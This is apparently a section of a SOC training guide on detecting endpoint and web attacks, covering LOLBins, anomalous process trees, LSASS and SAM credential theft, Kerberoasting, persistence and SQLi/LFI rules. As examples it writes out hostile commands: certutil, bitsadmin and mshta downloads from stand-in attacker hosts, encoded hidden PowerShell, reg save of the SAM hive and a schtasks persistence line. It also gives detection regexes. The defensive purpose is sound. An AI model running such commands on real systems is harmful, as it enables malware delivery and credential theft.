6.1 Host and Application-Level Incident Detection Use Cases

Endpoint Attack Detection Scenarios and LOLBins

Modern endpoint intrusions rarely rely on uncompiled, custom malware binaries that trigger static signature detections. Instead, advanced threat actors leverage Living-off-the-Land Binaries (LOLBins)—legitimate, digitally signed operating system utilities native to Windows environments—to download payloads, bypass application allowlisting (such as AppLocker or Windows Defender Application Control), execute arbitrary scripts, and execute post-exploitation commands. In a Security Operations Center (SOC), detection engineers and Tier 1 analysts must understand the dual-use nature of these binaries, their command-line syntax, and how to identify malicious invocations within endpoint detection telemetry.

Living-off-the-Land Binaries (LOLBins)

Adversaries exploit trusted system utilities because their presence on disk does not generate alerts, and standard system administration tasks frequently utilize them. The SOC analyst must inspect process execution arguments captured by endpoint sensors (e.g., Windows Security Event ID 4688 with command-line auditing enabled, or Sysmon Event ID 1):

• PowerShell (powershell.exe):
  • Adversaries frequently bypass execution policies and conceal scripts using encoded commands: powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Enc <Base64_Payload>.
  • Detection Logic: Monitor process creation events where CommandLine contains -enc, -encodedcommand, -bxor, DownloadString, IEX, or Net.WebClient.
• CertUtil (certutil.exe):
  • Originally intended for certificate verification and enrollment, attackers abuse CertUtil to download remote malware payloads and decode Base64 files: certutil.exe -urlcache -split -f https://malicious-c2.net/payload.bin update.exe.
  • Detection Logic: Alert on any instance of certutil.exe spawned with command-line parameters matching -urlcache, -split, or -decode outside of administrative maintenance windows.
• Microsoft HTML Application Host (mshta.exe):
  • Executes .hta files and inline VBScript or JScript, frequently bypassing browser-level sandboxes: mshta.exe vbscript:Close(Execute("GetObject(""script:https://evil.org/stage1.sct"")")).
  • Detection Logic: Inspect any network connection initiated by mshta.exe or instances where mshta.exe is passed an HTTP/HTTPS URL or inline script syntax in its command line.
• Rundll32 (rundll32.exe):
  • Used to execute exported entry points of Dynamic Link Libraries (DLLs). Threat actors execute arbitrary remote payloads or bypass script execution blocks: rundll32.exe C:\Users\Public\malware.dll,EntryPoint or calling inline scripts.
  • Detection Logic: Flag rundll32.exe executing without command-line arguments, executing functions from unusual paths (C:\Users\*\AppData\Local\Temp\), or invoking script protocols (javascript:, vbscript:).
• Background Intelligent Transfer Service (bitsadmin.exe):
  • Windows service designed for background file transfers. Attackers use it to fetch stages stealthily: bitsadmin.exe /transfer myDownloadJob /priority foreground https://c2.net/bad.exe C:\Users\Public\bad.exe.
  • Detection Logic: Alert on bitsadmin.exe executions specifying /transfer or /addfile pointing to external IP addresses or untrusted domains.

[Sample Malicious LOLBin Process Command Line]
Process: C:\Windows\System32\certutil.exe
PID: 4982
Parent: C:\Windows\System32\cmd.exe (PID 3120)
User: DOMAIN\bob.finance
Command Line: certutil.exe -urlcache -split -f https://storage-relay.internal-update.com/svc.bin C:\Users\Public\svc.exe
Hash (SHA256): 9a1c9e99a77c86a8a7098e9a2636f1b1c3138b32128cd6e5efbbfadbb0934024

---

Parent-Child Process Anomalies

Under normal enterprise operating conditions, system and user processes follow deterministic parent-child execution hierarchies. When an adversary exploits an application vulnerability (such as a remote code execution bug in an office suite or an unpatched PDF reader), the hijacked host process will typically spawn an anomalous child process to establish command-line access or download staging tools.

High-Fidelity Anomaly Patterns

1. Productivity Software Spawning Shell Interpreters:
   • Anomalous Parent: Microsoft Office applications (winword.exe, excel.exe, powerpnt.exe) or Adobe Acrobat Reader (acrord32.exe).
   • Illegitimate Child: cmd.exe, powershell.exe, wscript.exe, cscript.exe, mshta.exe, or certutil.exe.
   • Significance: Indicates malicious macro execution (VBA), remote template injection, or document exploit payloads.
2. Web Server Daemons Spawning Command Shells:
   • Anomalous Parent: Internet Information Services (w3wp.exe), Apache HTTP Server (httpd.exe), or Nginx (nginx.exe).
   • Illegitimate Child: cmd.exe, powershell.exe, /bin/sh, /bin/bash, or whoami.exe.
   • Significance: Strong indicator of a web shell execution, SQL injection command execution (xp_cmdshell), or local file inclusion exploit.
3. System Process Anomalies:
   • Expected Parent of smss.exe: System (PID 4).
   • Expected Parent of csrss.exe and winlogon.exe: smss.exe.
   • Expected Parent of services.exe and lsass.exe: winlogon.exe.
   • Expected Parent of svchost.exe: services.exe.
   • Significance: If svchost.exe is spawned by explorer.exe or cmd.exe, or if lsass.exe has any parent other than winlogon.exe, the process is masquerading or represents active code injection.

---

Credential Theft Detection Mechanisms

Once initial access is established, adversaries attempt to extract plaintext passwords, NTLM hashes, and Kerberos tickets to fuel lateral movement. The SOC correlation engine must detect credential harvesting operations targeting operating system memory and security account stores.

LSASS Memory Dumping

The Local Security Authority Subsystem Service (lsass.exe) caches user credentials, Kerberos tickets, and NTLM password hashes in memory. Tools like Mimikatz or built-in utilities like procdump.exe access LSASS process memory to extract these credentials.

• Sysmon Event ID 10 (ProcessAccess):
  • Captures when a process opens a handle to another process with specific access rights.
  • Detection Signature: TargetImage = C:\Windows\System32\lsass.exe where GrantedAccess includes rights such as 0x1010 (Query Limited Information + Read), 0x1410, or 0x1F0FFF (PROCESS_ALL_ACCESS).
  • Source Images: Watch for unusual source processes such as powershell.exe, rundll32.exe, taskmgr.exe, or unsigned binaries requesting LSASS memory handles.

SAM Registry Hive Dumping

The Security Account Manager (SAM) database stores local user account password hashes. Although protected by operating system file locks, adversaries attempt to export the SAM and SYSTEM registry hives using the native reg.exe tool.

• Command Line & Windows Security Event ID 4688:
  • reg save HKLM\SAM C:\Windows\Temp\sam.save
  • reg save HKLM\SYSTEM C:\Windows\Temp\system.save
  • Detection Logic: Alert on Event ID 4688 where the command-line contains reg or reg.exe with save and references hklm\sam or hklm\system.

Kerberoasting

Kerberoasting allows an attacker with valid domain credentials to request Kerberos Ticket Granting Service (TGS) service tickets for any service account possessing a registered Service Principal Name (SPN). The attacker extracts the ticket offline and brute-forces the password hash.

• Windows Security Event ID 4769 (A Kerberos service ticket was requested):
  • Ticket Encryption Type: 0x17 indicates RC4-HMAC, which is far more susceptible to offline dictionary attacks than modern AES-128 (0x12) or AES-256 (0x13).
  • Ticket Options: Commonly contains 0x40810000 (forwardable, renewable, canonicalize).
  • Detection Logic: High volume of Event ID 4769 requests originating from a single user account within a brief timeframe, targeting multiple SPNs, and requesting encryption type 0x17.

Pass-the-Hash (PtH) and Pass-the-Ticket (PtT)

• Pass-the-Hash: Uses stolen NTLM hashes to authenticate across the network without cracking the plaintext password. Correlated in Windows Security Event ID 4624 as a Logon Type 3 (Network) or Logon Type 9 (NewCredentials) with Authentication Package: NTLM rather than Kerberos in an enterprise domain where Kerberos is standard.
• Pass-the-Ticket: Involves stealing or forging Kerberos tickets (Silver and Golden tickets). Detected by monitoring Event ID 4624 Type 3 logons exhibiting anomalous client names or ticket lifetimes exceeding default domain policy (e.g., tickets valid for 10 years).

---

Persistence and Stealth Mechanisms

Adversaries install persistence mechanisms to ensure access survives system reboots, user logoffs, and credential rotations. Simultaneously, they may use stealth techniques to conceal activity or defense-impairment techniques to degrade security controls and telemetry.

Scheduled Tasks (Event ID 4698)

When adversaries execute schtasks.exe /create /tn "SecurityHealthUpdate" /tr "powershell.exe -w hidden -enc ..." /sc onlogon, the operating system records Windows Security Event ID 4698. Analysts must inspect the <TaskDefinition> XML structure to extract the Action path and arguments.

Service Installation (Event ID 7045)

System Event ID 7045 logs new service creation. Critical fields include ServiceName, ImagePath (which reveals the binary or script), and AccountName (such as LocalSystem). Malicious services often impersonate legitimate software (e.g., WindowsUpdateSvc) but execute from temporary folders.

Stealth: Event Log Clearing

Clearing security logs is a high-confidence indicator of active intrusion. Event ID 1102 specifically states: "The audit log was cleared." It records the Subject User Account who initiated the purge. In modern SOCs, Event ID 1102 triggers an immediate Severity 1 critical alert requiring instant triage.

---

Web Application Attack Detection in SIEM

Public-facing web applications are prime initial access vectors. Web server access logs (IIS W3C logs, Apache combined access logs, Nginx logs) and Web Application Firewall (WAF) events must be ingested into SIEM correlation rules.

SQL Injection (SQLi)

Adversaries inject structured database queries to bypass authentication or extract backend databases.

• Detection Rule: SIEM regex parsing HTTP request URIs and POST bodies for SQL keywords and syntax: (?i)(\bunion\b.*\bselect\b|'\s+or\s+'?1'?='?1|waitfor\s+delay|information_schema|benchmark).
• Triage Verification: Check HTTP status codes. A 200 OK with large response size indicates potential successful extraction, whereas 403 Forbidden or 500 Internal Error points to blocked attempts or syntax failures.

Path Traversal / Local File Inclusion (LFI)

Threat actors attempt to navigate beyond the web root to access sensitive configuration files or operating system stores.

• Detection Rule: Match URL patterns containing directory traversal sequences: (?:\.\./|\.\.\\|%2e%2e%2f|%2e%2e/|%252e%252e%252f) targeting files like /etc/passwd, /etc/shadow, boot.ini, or windows\win.ini.

Web Shell Execution

Attackers upload scripts (.aspx, .php, .jsp) to web directories to maintain persistent command execution.

• Endpoint Correlation: A critical correlation rule combines Web Server File Drops (Sysmon Event ID 11 in C:\inetpub\wwwroot\ or /var/www/html/) with subsequent process creation where w3wp.exe, httpd, or php-fpm spawns cmd.exe, powershell.exe, or /bin/sh.

---

Comprehensive Host & Application Detection Scenarios Table